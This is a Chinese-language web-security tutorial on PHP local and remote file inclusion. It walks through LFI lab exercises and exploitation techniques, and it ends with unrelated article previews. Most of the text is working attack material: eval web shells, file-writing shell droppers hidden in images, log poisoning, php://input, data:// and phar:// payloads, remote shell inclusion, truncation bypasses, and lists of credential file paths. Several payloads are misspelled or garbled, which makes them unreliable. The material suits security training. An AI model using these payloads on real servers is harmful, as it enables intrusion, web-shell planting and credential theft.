[Web安全 网络安全]-文件包含漏洞
文章目录:
一:前言
1.什么是文件包含漏洞
2.文件包含漏洞的成因
3.文件包含漏洞的分类
4.文件包含漏洞的防御策略
5.文件包含函数(触发点Sink)
6.环境
6.1 靶场
6.2 其他工具
二:文件包含LFI labs靶场实验
LFI-1
LFI-2
LFI-3
LFI-4
LFI-5
LFI-6
LFI-7-14
三:文件包含漏洞的-利用方式
1.本地文件方式利用
1.1 包含日志文件获取webshell
1.2 利用file协议
1.3 php_filter命令获取flag
1.4 php_ zip命令压缩协议获取webshell
1.5 phar://协议
2.远程文件方式利用
2.1 包含远程文件
2.2 php_input命令执行及获取webshell
2.3 php_data命令获取webshell
四:文件包含漏洞的-绕过方式
1.本地文件绕过方式绕过
%00截断
路径长度截断/操作系统特性进行文件包含绕过(. ,/)
2.远程文件绕过方式绕过(?%23 %20 )
一:前言
1.什么是文件包含漏洞
定义:文件包含漏洞(File Inclusion Vulnerability)通常出现在动态网页中它允许攻击者在应用程序中任意包含本地或远程文件,从而导致敏感信息泄露、远程命令执行甚至完全控制目标系统为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来直接使用包含文件的代码简单来说:开发人员将需要重复的函数写入一个文件,对该文件进行包含时产生的操作目的:提高代码的重复利用率、减少代码冗余、降低代码后期维护难度
2.文件包含漏洞的成因
文件包含漏洞的成因:文件包含漏洞出现在PHP语言中,在未正确进行输入验证和过滤的用户提供的输入情况下在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞简单来说:加载的参数没有经过过滤或严格定义,可以被用户控制,,包含其他恶意文件导致执行非预期代码<?php $file=$_GET['filename'];include($filename);//...?>http://xxx/xxx.php?filename=show.php改变filename值即可改变代码中含有的文件
3.文件包含漏洞的分类
文件包含的内容只要符合php语法:都能被当成php代码进行解析,无关后缀名是什么
文件包含漏洞的分类本地文件包含(Local File Inclusion, LFI):当被包含的文件位于服务器本地时,就形成了本地文件包含漏洞攻击者可以利用这个漏洞读取服务器上的敏感文件,如配置文件、数据库文件等,甚至执行服务器上的恶意脚本例子:http://localhost/filename/?page=c:/windows/win.ini远程文件包含(Remote File Inclusion, RFI):当被包含的文件位于第三方服务器时,就形成了远程文件包含漏洞这种漏洞允许攻击者包含并执行远程服务器上的恶意脚本url文件,从而对目标系统造成更大的威胁但需要注意的是,远程文件包含漏洞的利用通常需要服务器配置中的allow_url_include选项被开启php.ini中设置:php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off)allow_url_fopen:为ON时,能读取远程文件,默认;例如file_get_contents()就能读远程文件Alow_url_include:为ON时,就可使用include和require等方式包含远程文件例子:http://localhost/filename/?page=../../../phpinfo.php例子:http://localhost/filename/?page=phpinfo.txxphpinfo.txt <?php phpinfo();?>
4.文件包含漏洞的防御策略
文件包含漏洞的防御策略过滤危险字符:使用如str_replace等方法过滤掉用户输入中的危险字符配置open_basedir:通过配置php.ini中的open_basedir指令,限制PHP能够打开的文件目录,防止目录遍历使用安全的文件包含函数:推荐使用include_once()和require_once()函数来包含文件,这些函数可以防止文件被包含多次验证用户输入:在包含文件之前,验证用户输入是否是有效的,防止攻击者通过提交恶意文件来触发文件包含漏洞使用白名单:对于动态包含的文件,可以设置一个白名单,只包含白名单中的文件做好权限管理:确保文件和目录的权限设置合理,防止非授权用户访问敏感文件使用Web应用程序防火墙(WAF):WAF可以阻止攻击者利用文件包含漏洞进行恶意攻击过滤.(点)/(反斜杠)\(反斜杠)禁止服务器远程文件包含尽量不要使用动态包含,可以在需要包含的页面固定写好
5.文件包含函数(触发点Sink)
require组 | require | 函数出现错误,会直接报错并退出程序执行 |
require_once | 函数出现错误,会直接报错并退出程序执行;仅包含一次 | |
include组 | include | 函数出现错误,会抛出一个警告,程序继续执行 |
include_once | 函数出现错误,会抛出一个警告,程序继续执行;仅包含一次 |
代码审计时间用
Include:如果包含的文件有错误/路径有错误,会继续执行,不会影响整个程序; 有返回值如果指定的文件不存在,PHP会发出一个警告(E_WARNING),但脚本会继续执行include 可以在脚本的任意位置使用,以引入需要的功能代码Include_once:只包含一次require:如果包含的文件有错误/路径有错误,会继续执行, 会影响整个程序;没有返回值如果指定的文件不存在,PHP会发出一个致命错误(E_COMPILE_ERROR),并停止脚本的执行。这通常用于那些缺少了就无法继续执行的文件require once:与 require 类似,但它在引入文件之前会检查该文件是否已经被引入过,以避免重复引入highlight_file():用于输出文件并语法高亮显示这对于查看PHP源代码特别有用,因为它会以HTML格式显示文件内容,并尝试对PHP代码进行语法高亮show_source():与 highlight_file() 类似,但它直接输出或返回文件的源代码,而不是通过浏览器显示它同样尝试对PHP代码进行语法高亮readfile():将整个文件读入一个字符串,并将文件内容输出,这个函数主要用于直接输出文件到浏览器或客户端file_get_contents():将整个文件读入一个字符串与 readfile() 不同,file_get_contents() 不会直接输出文件内容,而是将内容存储在变量中,供后续处理fopen():用于打开文件或URL返回一个文件指针资源,之后可以使用其他文件操作函数(如 fread()、fwrite()、fclose() 等)对文件进行读写操作file(): 将整个文件读入一个数组中,每个元素都是文件的一行。这对于逐行处理文件内容非常方便
6.环境
6.1 靶场
LFI labs:lfi-labs、lfi-labs-master镜像地址
Bugku CTF:由乌云知识库(wooyun.org)推出的在线漏洞靶场
pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞
DVWA:是一个PHP/MySQL Web应用程序,包含常见漏洞,用于安全培训和练习,可参考
6.2 其他工具
phpSdudy
burp
中国菜刀
二:文件包含LFI labs靶场实验
绕过方式 | 不带后缀绕过 |
%00截断 | |
加点.绕过 | |
加斜杠点/.绕过 | |
深入目录../../绕过 | |
双写../绕过 或者 ../替换空格绕过 |
phpinfo.php<?php phpinfo(); ?>webshell.php {eval() 函数把字符串按照 PHP 代码来计算}<?php @eval($_POST([margin])); ?>
LFI-1
Load URL地址:http://www.lfi.com/LFI-1/后台代码<?php include($_GET["page"]); ?>获取系统敏感文件http://www.lfi.com/LFI-1/?page=c:\\boot.ini获取webshell http://www.lfi.com/LFI-1/?page=phpinfo.phphttp://www.lfi.com/LFI-1/?page=phpinfo.jpghttp://www.lfi.com/LFI-1/?page=phpinfo.txthttp://www.lfi.com/LFI-1/?page=../webshell.php
LFI-2
Load URL地址:http://www.lfi.com/LFI-2/后台代码<?php include("includes/".$_GET['library'].".php"); ?>获取系统敏感文件http://www.lfi.com/LFI-2/?library=c://boot.iniinclude("includes/c://boot.ini.php"); 绝对路径http://www.lfi.com/LFI-2/?library=c://boot.ini%00 %00截断include("includes/c://boot.ini%00.php"); include("includes/c://boot.ini .php"); 相对路径http://www.lfi.com/LFI-2/?library=../boot.ini%00 http://www.lfi.com/LFI-2/?library=../../boot.ini%00 http://www.lfi.com/LFI-2/?library=../../../boot.ini%00 include("includes/../../../boot.ini%00.php"); include("includes/../../../boot.ini .php"); http://www.lfi.com/LFI-2/?library=../../../phpinfo.php%00 获取webshellhttp://www.lfi.com/LFI-2/?library=../../../webshell.php%00
LFI-3
Load URL地址:http://www.lfi.com/LFI-3/后台代码<?php if(substr($_GET['file'],-4,4)!= '.php') //从结尾倒数第四个开始,取4个长度echo file_get_contents($_GET['file']);elseecho 'you are not allowed to see source files'."\n";?>获取系统敏感文件http://www.lfi.com/LFI-3/?file=c://boot.ini 可以查看http://www.lfi.com/LFI-3/?file=../phpinfo.ini 不可以查看http://www.lfi.com/LFI-3/?file=../phpinfo.ini%00 没有提示http://www.lfi.com/LFI-3/?file=../../../../phpinfo.ini%00 还是不可以http://www.lfi.com/LFI-3/?file=../../phpinfo.php. 加点.绕过http://www.lfi.com/LFI-3/?file=../../phpinfo.php/. 加斜杠点/.绕过http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00 利用burp工具抓包%00截断
LFI-4
Load URL地址:http://www.lfi.com/LFI-4/后台代码//---------------------------------------------------------------------------------//addslashes()函数:返回在预定义字符之前添加反斜杠的字符串 在他们{' " \ NULL}之前添加\如果用%00截断,他们的区别../../../../../phpinfo.php../../../../../phpinfo.php\0 //---------------------------------------------------------------------------------//<?php $path = "includes/class_'.addslashes($_GET(['class'])).'.php ";echo file_get_contents($path);?>获取系统敏感文件http://www.lfi.com/LFI-4/?class=../phpinfo 不可以查看http://www.lfi.com/LFI-4/?class=../../../../../phpinfo 可以查看(深入目录../../绕过)如果$path = "includes/class_'.($_GET(['class'])).'.php ";http://www.lfi.com/LFI-4/?class=../../../../../phpinfo%00 也可以查看
LFI-5
Load URL地址:http://www.lfi.com/LFI-5/后台代码<?php $file=str_replace('../','',$_GET('file'));if(isset($file))include("page/$file");elseinclude("index.php");?>获取系统敏感文件http://www.lfi.com/LFI-5/?file=c://boot.ini 不可以查看http://www.lfi.com/LFI-5/?file=../../phpinfo.php 不可以查看http://www.lfi.com/LFI-5/?class=..././..././../phpinfo.info 可以查看(双写../绕过 或者 ../替换空格绕过)
LFI-6
Load URL地址:http://www.lfi.com/LFI-6/后台代码<?php include($_POST["page"]);?>获取系统敏感文件http://www.lfi.com/LFI-6/?page=c://boot.ini 可以查看http://www.lfi.com/LFI-6/?page=../../phpinfo.php 可以查看获取webshell:但是POST文件包含无法直接获取,需要加工一下(文件包含写shell)第一步:image.jpg在图片里面写入:小马<?php fputs(fopen("shell.php","w"), '<?php eval($_POST[shell])?>'); ?>第二步:勾选enable post data,执行会生成一个shell.phphttp://www.lfi.com/LFI-6/?page=../../image.php 第三步:访问查看http://www.lfi.com/LFI-6/?page=../../shell.php 可以查看
LFI-7-14
第七题POST方式提交1ibrary=../../../phpinfo.php%00 %00截断或者 1ibrary=../../../phpinfo 不带后缀第八题POST提交http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00 %00截断 或者 phpinfo.php/. /.绕过第九题POST提交class=../../../../../phpinfo 不带后缀 第十题POST提交fi1e=..././..././..././phpinfo.php 双写../替换为空第十一题POST:stylepath=../../phpinfo.php hidden隐藏的输入框 两个参数(分别试一试) 第十二题GET :stylepath=../../phpino.php hidden隐藏的输入框 两个参数(分别试一试)第十三题GET 方式:fi1e=..././..././..././phpinfo.php 双写../替换为空 十四题POST方式:file=..././..././..././phpinfo.php 双写../替换为空
三:文件包含漏洞的-利用方式
PHP支持的协议和封装协议 | |
file:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
fpt:// | 访问FPT(s) URLs |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP文档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
文件包含漏洞的利用方式直接包含恶意文件:攻击者可以通过URL参数直接指定恶意文件的路径,使应用程序包含并执行该文件利用伪协议:如php://filter、data://等,这些伪协议允许攻击者控制输入流,将恶意代码作为输入流传递给应用程序php://filter 是一种元封装器 ,设计用于数据流打开时的筛选过滤应用data:// 同样类似与php://input,可以让用户来控制输入流php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行phar://xxx.png/shell.php 解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压包含日志文件:通过包含服务器的日志文件(如Apache的access.log或error.log)来执行日志中的恶意代码包含session00截断长度截断(Windows:256;Linux:4096)
1.本地文件方式利用
1.1 包含日志文件获取webshell
日志默认路径 | |
apache+Linux日志默认路径 | /etc/httpd/logs/access_log |
/var/log/httpd/access_log | |
apache+win2003日志默认路径 | D:\xampp\apache\logs\access.log D:\xamppiapache\logs\error.log |
IIS6.0+win2003默认日志文件 | C:WINDOUS\system32\Logfiles |
IIS7.0+win2003 默认日志文件 | %SystemDrives%\inetpub\logs\LogFiles |
nginx日志文件 | 日志文件在用户安装目录logs目录下 以我的安装路径为例/usr/local/nginx 那我的日志目录就是在/usr/local/nginx/logs里 |
敏感文件默认路径列举 | ||
windows系统 | C:\boot.ini | 查看系统版本 |
C:\windows\system32\inetsrvMetaBase.xml | iis配置文件 | |
C:\windowslrepairlsame | 存储windows系统初次安装密码 | |
C:\ProgramFilesmysqlmy.ini | mysql配置信息 | |
C:\ProgramFiles\mysql\data\mysqluser.MYD | mysql root密码 | |
C:\lwindowslphp.ini | php配置信息 | |
linux/unix系统 | /etc/passwd | 账户信息 |
/etc/shadow | 账户密码文件 | |
/usr/local/app/apache2/conf/httpd.conf | Apache2默认配置文件 | |
/usr/local/app/apache2/conf/extra/httpd-vhost.conf | 虚拟网站配置 | |
/usr/local/app/php5/lib/php.ini | php相关配置 | |
/etc/httpd/conf/httpd.conf | apache配置信息 | |
/etc/my.conf | mysql配置文件 |
Load URL地址:http://www.lfi.com/LFI-1/访问日志文件http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log查看一句话木马第一步:写入http://www.lfi.com/LFI-1/<?php phpinfo(); ?>http://www.lfi.com/LFI-1/?page=../../phpinfo.php第二步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.loghttp://www.lfi.com/LFI-1/page=..\..\..\Apache\logs\datafile.log特殊字符被url编码问题:用burp抓包 获取url页面 第一步:执行 http://www.lfi.com/LFI-1/第二步:修改 GET /LEI-1/HTTP/1.1 GET /LEI-1/<?php phpinfo(); ?> HTTP/1.1 第三步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log获取一句话木马第一步:执行 http://www.lfi.com/LFI-1/第二步:修改 GET /LEI-1/HTTP/1.1 GET /LEI-1/<?php @eval($_POST([margin])); ?> HTTP/1.1 第三步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log
1.2 利用file协议
php.ini中设置allow url fopen =off)、allow url include= off)
Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=file://c:/windows/win.ini
1.3 php_filter命令获取flag
php://fi1ter 是一种元封装器,设计用于数据流打开时的筛选过滤应用 这对于一体式(all-in-one)的文件函数非常有用,类似 readfle()、fle()和 fle_get_contents(),在数据流内容读取之前没有机会应用其他过滤器php://fi1ter参数resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表> 任何没有以 read=或 write=作前缀 的筛选器列表会视情况应用于读或写链
Load URL地址:http://www.lfi.com/php/php_filter.php编码文件Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=php_filter.php解码文件:利用burp(decode as——>base64)读取flag.php文件——>利用burp解码Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=flag.php获取flaghttp://www.lfi.com/php/php_filter.php
1.4 php_ zip命令压缩协议获取webshell
Load URL地址:http://www.lfi.com/php/php_zip.phpzip//、bzip2://、zlib//协议压缩流版本,利用条件按为php版本大于5.3.0格式:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]获取压缩包里面的文件:backdoor.phphttp://www.lfi.com/php/php_zip.php?file=uploadhttp://www.lfi.com/php/php_zip.php?file=zip://c:\phpstudy\etc.zip%23backdoor.php
1.5 phar://协议
类似于zip协议,但是可以使用相对路径格式:phar://[压缩文件绝对/相对路径]压缩文件内的子文件名]上传http://www.lfi.com/php/php_zip.php?file=phar://../../phpstudy/etc.zip/backdoor.phpbackdoor.php<?php fputs(fopen("shell.php","w"), '<?php eval($_POST["cmd"])?>'); ?><?php phpinfo(); ?>访问shell.phphttp://www.lfi.com/php/shell.php
2.远程文件方式利用
2.1 包含远程文件
php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off)
Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/phpinfo.php远程包含shellhttp://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=http://localhost/remoteshell.txtremoteshell.txt<?php$payload="<?php eval(\$_POST['&cmd'])?>":$myfile =fopen('demo.php','w) or die("can't open the file!");fwrite($myfile,$payload);fclose($myfile);?>
2.2 php_input命令执行及获取webshell
php.ini中设置allow url fopen =Off、allow url include= On
Load URL地址:http://www.lfi.com/php/page=php://input获取phpinfo页面http://www.lfi.com/php/php_input.php?file=php://input <?php phpinfo();?>获取当前操作系统目录http://www.lfi.com/php/php_input.php?file=php://input <?php syetem("dir");?>获取目录里面内容:在服务器上写入小马http://www.lfi.com/php/php_input.php?file=php://input <?php fputs(fopen("shell.php","w"), '<?php eval($_POST[margin]);?>'); ?>访问shell.phphttp://www.lfi.com/php/shell.php
2.3 php_data命令获取webshell
php.ini中设置allow url fopen =Off、allow url include= On
Load URL地址:http://www.lfi.com/php/php_data.php获取phpinfo文件页面http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>base <?php phpinfo()?>编码http://127.0.0,1/cmd,php?file=data://text/plain;base64.pp9waHAgcGhwaw5mbygpPz4==http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>http://127.0.0.1/cmd.php?file=data:text/plain;base64,Pb9waHagcGhwaW5mbvgpPz4写入小马http://127.0.0.1/cmd.php?file=data://text/plain,<?PHP fputs(fopen("shell.php","w",'<?php eval($ posT[margin]);?>');?>访问shell.phphttp://www.lfi.com/php/shell.php
四:文件包含漏洞的-绕过方式
这里可以参考之前的方法:问号、空格、注释、双写、大小写、截断等
1.本地文件绕过方式绕过
<?php include("inc/" .$_GET['file'] . ".htm");?>
%00截断
原理:php内核由c语言实现,因此使用了c语言中的字符串处理函数,在连接字符串时0字节作为字符串的结束符 %00url解码为0x00,magic quotes gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能条件:magic quotes gps=off php版本<5.3.4?page=../../../../phpinfo.php%00%00截断目录遍历:条件:magic_quotes_gps=off unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris?page=../../../../var/www/%00
路径长度截断/操作系统特性进行文件包含绕过(. ,/)
文件名不能包含下列任何字符之一:\ / : * ? < > |
Load URL地址:http://www.lfi.com/LFI-1/php版本小于5.2.8后台代码:在php5.3版本以后就不可以使用00截断<?php include($_GET["page"]."html"); ?>解决办法文件后缀上有多个或单个的点,会被自动消除文件名大于256个字符会自动被丢弃掉绕过办法backdoor.php(<?php phpinfo()?>) http://www.lfi.com/LFI-1/?page=backdoor.php.....大于256个. 或者大于256个././././Windows下目录最大长度为256字节,超出的部分会被丢弃linux 下目录最大长度为4096字节,超出的部分会被丢弃
2.远程文件绕过方式绕过(?%23 %20 )
<?php$basePath =$_GET['path'];require_once $basePath ."/action/m_share.php"; ?>绕过方式http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php?代码实际执行了:require once http://localhost/shell.php?/action/m share.php将/action/m share.php作为http://localhost/shell.php的querystring查询字符串http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://locahost/shell.php%23http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%20
相关文章:

[Web安全 网络安全]-文件包含漏洞
文章目录: 一:前言 1.什么是文件包含漏洞 2.文件包含漏洞的成因 3.文件包含漏洞的分类 4.文件包含漏洞的防御策略 5.文件包含函数(触发点Sink) 6.环境 6.1 靶场 6.2 其他工具 二:文件包含LFI labs靶场实验…...

使用soui4实现一个拾色器
拾色器类 #pragma once class CClrPickerCtrl : public SWindow {DEF_SOBJECT(SWindow, L"clrpicker") public:CClrPickerCtrl(void);~CClrPickerCtrl(void);//跟solider控件设置色调void SetSliderPos(int nPos);//获取选取位置的颜色COLORREF GetColor(); protect…...
Thinkphp5 + Swoole实现邮箱异步通知
在 ThinkPHP 中实现邮箱异步通知的常见做法是通过队列系统来处理异步任务,结合 Swoole 来处理异步发送邮件的请求。这样可以避免同步处理邮件发送导致的阻塞,提高响应速度。 以下是基于 ThinkPHP5 框架和 Swoole 的异步邮件通知实现步骤: 一…...

LLM - 理解 多模态大语言模型 (MLLM) 的预训练与相关技术 (三)
欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/142063880 免责声明:本文来源于个人知识与公开资料,仅用于学术交流,欢迎讨论,不支持转载。 完备(F…...
工具篇之Joda-Time
在Java应用程序开发中,处理日期和时间是一项常见且复杂的任务。尽管Java标准库提供了基本的日期和时间操作类,但它们的使用常常不够直观和灵活。Joda-Time 是一个强大的日期和时间库,提供了丰富的API,用于简化日期和时间的操作。本…...
架构师应该懂得东西,软考应该具备的
架构师应该懂得知识 架构师作为软件系统设计和开发的关键角色,需要掌握广泛的知识和技能。具体来说,他们应该懂得以下几方面的知识: 编程语言:掌握至少一种编程语言,如Java、C、Python等,以便于进行系统设…...
图论篇--代码随想录算法训练营第五十一天打卡| 99. 岛屿数量(深搜版),99. 岛屿数量(广搜版),100. 岛屿的最大面积
99. 岛屿数量(深搜版) 题目链接:99. 岛屿数量 题目描述: 给定一个由 1(陆地)和 0(水)组成的矩阵,你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而…...

什么是API网关(API Gateway)?
1. 什么是API网关(API Gateway)? 在微服务体系结构中,客户端可能与多个前端服务进行交互。 API 网关位于客户端与服务之间。 它充当反向代理,将来自客户端的请求路由到服务。 它还可以执行各种横切任务,例…...

对话:LLC磁集成能否成为充电桩模块电源常态产品?
编者按:在终端需求疲软的影响下,前两年火热的新能源汽车、光伏、储能等新能源领域也掀起了价格战,储能已正式进入0.5元时代,新能源汽车领域价格战更是一轮接一轮,成本管控成为2024年企业绕不开的话题。 接下来我们将围…...

基于SSM的二手物品交易管理系统的设计与实现 (含源码+sql+视频导入教程+文档+PPT)
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于SSM的二手物品交易管理系统7拥有两种角色 管理员:用户管理、分类管理、商品管理、订单管理、系统管理等 用户:登录注册、充值、收货、评价、收藏、购物车、订…...

视觉语言模型中的人脸社会感知
本文研究了视觉语言模型CLIP在处理人脸图像时的社会感知能力及其潜在偏见。研究者们构建了一个名为CausalFace的合成人脸数据集,通过系统地独立变化年龄、性别、人种、面部表情、照明和姿势等六个维度来评估模型的社会感知。他们发现,尽管CLIP是在多样化…...
JAVA学习-练习试用Java实现“最小覆盖子串”
问题: 给定一个字符串 s 、一个字符串 t 。返回 s 中涵盖 t 所有字符的最小子串。如果 s 中不存在涵盖 t 所有字符的子串,则返回空字符串 "" 。 注意:如果 s 中存在这样的子串,我们保证它是唯一的答案。 示例 1&…...

关于axios同步获取数据的问题
axios同步获取数据 Axios介绍问题代码修改 总结 Axios介绍 Axios 是一个基于 promise 网络请求库,作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 X…...
java-在ANTLR中,如何从java文件中提取类名和方法名0.1.8
java-在ANTLR中,如何从java文件中提取类名和方法名0.1.0 目标java源文件java的g4文件生成antlr代码最终代码调测结果阶段性总结 2024年9月12日11:16:01----0.1.8 目标 从一个java文件中提取出类名和方法名 java源文件 文件名是main.java,具体内容如下…...

十大护眼灯钢琴灯品牌是智商税吗?十大钢琴灯品牌排行榜
十大护眼灯钢琴灯品牌是智商税吗?不良的光线不仅会使得孩子在读写用眼时眼睛不舒服,还会引起视觉疲劳伤眼视力健康,这个时候要能有一台可靠的护眼灯钢琴灯,那真是再好不过了。但是市面上护眼灯钢琴灯的种类太多,盲目挑…...

搜维尔科技:CyberGlove将实时捕捉运动信号和触觉反馈,将其重新定位到人形机器人进行驱动
CyberGlove将实时捕捉运动信号和触觉反馈,然后将其重新定位到人形机器人上。 这款18个传感器(有18节点和22节点两个型号,22节点早期用于美国军事方面,支持无线通信、蓝牙、WiFi、射频)数据手套的每个手指上有两个弯曲…...

数据结构:堆的算法
目录 一堆的向上调整算法二堆的向下调整算法三堆的应用:堆排序四TOPK问题 一堆的向上调整算法 我们在堆中插入一个数据一般实在堆的最后插入然后可以一步一步与上层结点(父结点进行比较),继而进行交换,完成二叉树的结构࿰…...

python画图|3D直方图基础教程
前述已经完成了直方图和3D图的基本学习,链接如下: 直方图:python画图|水平直方图绘制-CSDN博客 3D图:python画图|水平直方图绘制-CSDN博客 现在我们尝试把二者结合,画3D直方图。 【1】官网教程 首先,依…...
C语言中的函数,实参,形参,递归
1:什么是函数 2:定义带形式参数的函数和带实际参数的函数 3:递归 --------------------------------------------------------------------------------------------------------------------------------- 1:在 C 语言中&…...

ICM20948 DMP代码详解(15)
接前一篇文章:ICM20948 DMP代码详解(14) 上一回开始对icm20948_sensor_setup函数中第3段代码即inv_icm20948_initialize函数进行解析。为了便于理解和回顾,再次贴出其源码,在EMD-Core\sources\Invn\Devices\Drivers\IC…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...

PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...

Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

基于TurtleBot3在Gazebo地图实现机器人远程控制
1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...

Linux 内存管理实战精讲:核心原理与面试常考点全解析
Linux 内存管理实战精讲:核心原理与面试常考点全解析 Linux 内核内存管理是系统设计中最复杂但也最核心的模块之一。它不仅支撑着虚拟内存机制、物理内存分配、进程隔离与资源复用,还直接决定系统运行的性能与稳定性。无论你是嵌入式开发者、内核调试工…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)
macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 🍺 最新版brew安装慢到怀疑人生?别怕,教你轻松起飞! 最近Homebrew更新至最新版,每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

【深度学习新浪潮】什么是credit assignment problem?
Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...

Mac flutter环境搭建
一、下载flutter sdk 制作 Android 应用 | Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 1、查看mac电脑处理器选择sdk 2、解压 unzip ~/Downloads/flutter_macos_arm64_3.32.2-stable.zip \ -d ~/development/ 3、添加环境变量 命令行打开配置环境变量文件 ope…...
比特币:固若金汤的数字堡垒与它的四道防线
第一道防线:机密信函——无法破解的哈希加密 将每一笔比特币交易比作一封在堡垒内部传递的机密信函。 解释“哈希”(Hashing)就是一种军事级的加密术(SHA-256),能将信函内容(交易细节…...